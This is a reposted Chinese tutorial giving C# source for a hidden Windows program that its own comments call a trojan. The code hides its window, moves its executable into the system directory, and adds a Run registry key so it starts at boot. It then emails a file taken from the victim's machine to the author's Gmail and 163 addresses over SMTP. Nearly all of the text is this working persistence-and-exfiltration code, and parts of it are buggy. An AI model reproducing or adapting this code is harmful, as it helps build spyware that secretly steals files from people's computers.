C#实现自启动及带附件形式的邮件发送

来源:互联网 发布:swiper.js 内容滚动 编辑:程序博客网 时间:2024/05/24 22:44
一。新建C# window应用程序项目mySmtp,设置Form1属性WindowState,ShowInTaskbar为false,实现窗口隐藏,或this.visable = true也可实现隐藏。 
二。在program .cs中添加代码如下: 
using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Windows.Forms; 
using System.Net.Mail;//添加的命名空间 
using System.IO; 
using Microsoft.Win32; 
namespace MySmtp 

    //自定义类及函数 
    public class myfuntion 
    { 
        public static void movestart()//实现移动并自启动 
        { 
            string sys = System.Environment.SystemDirectory; 
            string system = string.Concat(sys, "//mySmtp.exe"); 
            string starupPath = Application.ExecutablePath; 
            RegistryKey key1= null; 
            Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; 
            try 
            { 
                //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 
                File.Move(starupPath, system); 
            } 
            catch 
            { 
                MessageBox.Show("移动失败"); 
            } 
            //将新移的木马程序设为自启动.分析和前面一样 
            try 
            { 
                key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run", true); 
                key1.SetValue("mySmtp", system); 
                key1.Close(); 
            } 
            catch 
            { 
                MessageBox.Show("修改注册启动失败"); 
            } 
            if (key1 == null) 
            { 
                try 
                { 
                    RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run"); 
                    key1.SetValue("mySmtp", system); 
                    key1.Close(); 
                } 
                catch 
                { 
                    MessageBox.Show("修改注册启动失败"); 
                } 
            } 
        } 
        public static void sendsmtp()//实现发送邮件 
        { 
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); 
            msg.To.Add("xujuntao0000@gmail.com");//发送到可以添加多个邮件 
            msg.To.Add("xujuntao0000@163.com"); //这是我的邮箱         
            msg.From = new MailAddress("a@tom.com", "Alpha", System.Text.Encoding.UTF8); 
            /* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/ 
            msg.Subject = "这是木马邮件";//邮件标题 
            msg.SubjectEncoding = System.Text.Encoding.UTF8;//邮件标题编码 
            msg.Body = "资料收集";//邮件内容 
            msg.Attachments.Add(new Attachment("c://1.txt"));//附件为宿主机文件,这里可以写出许多别有用意的东西 
            msg.BodyEncoding = System.Text.Encoding.UTF8;//邮件内容编码 
            msg.IsBodyHtml = false;//是否是HTML邮件 
            msg.Priority = MailPriority.High;//邮件优先级 
            SmtpClient client = new SmtpClient(); 
            client.Credentials = new System.Net.NetworkCredential("xujuntao0000@gmail.com", "*******"); //这是我的邮箱 
            //上述写你的GMail邮箱和密码 
            client.Port = 587;//Gmail使用的端口 
            client.Host = "smtp.gmail.com"; 
            client.EnableSsl = true;//经过ssl加密 
            object userState = msg; 
            try 
            { 
                client.SendAsync(msg, userState); 
                //简单一点儿可以client.Send(msg); 
                MessageBox.Show("发送成功"); 
            } 
            catch (System.Net.Mail.SmtpException ex) 
            { 
                MessageBox.Show(ex.Message, "发送邮件出错"); 
            } 
        } 
         

    } 
    static class Program 
    { 
        /// <summary> 
        /// 应用程序的主入口点。 
        /// </summary> 
        [STAThread] 
        public static void Main() 
        { 
            myfuntion.movestart(); 
            myfuntion.sendsmtp(); 
            Application.EnableVisualStyles(); 
            Application.SetCompatibleTextRenderingDefault(false); 
            Application.Run(new Form1()); 
        } 
    } 
     
}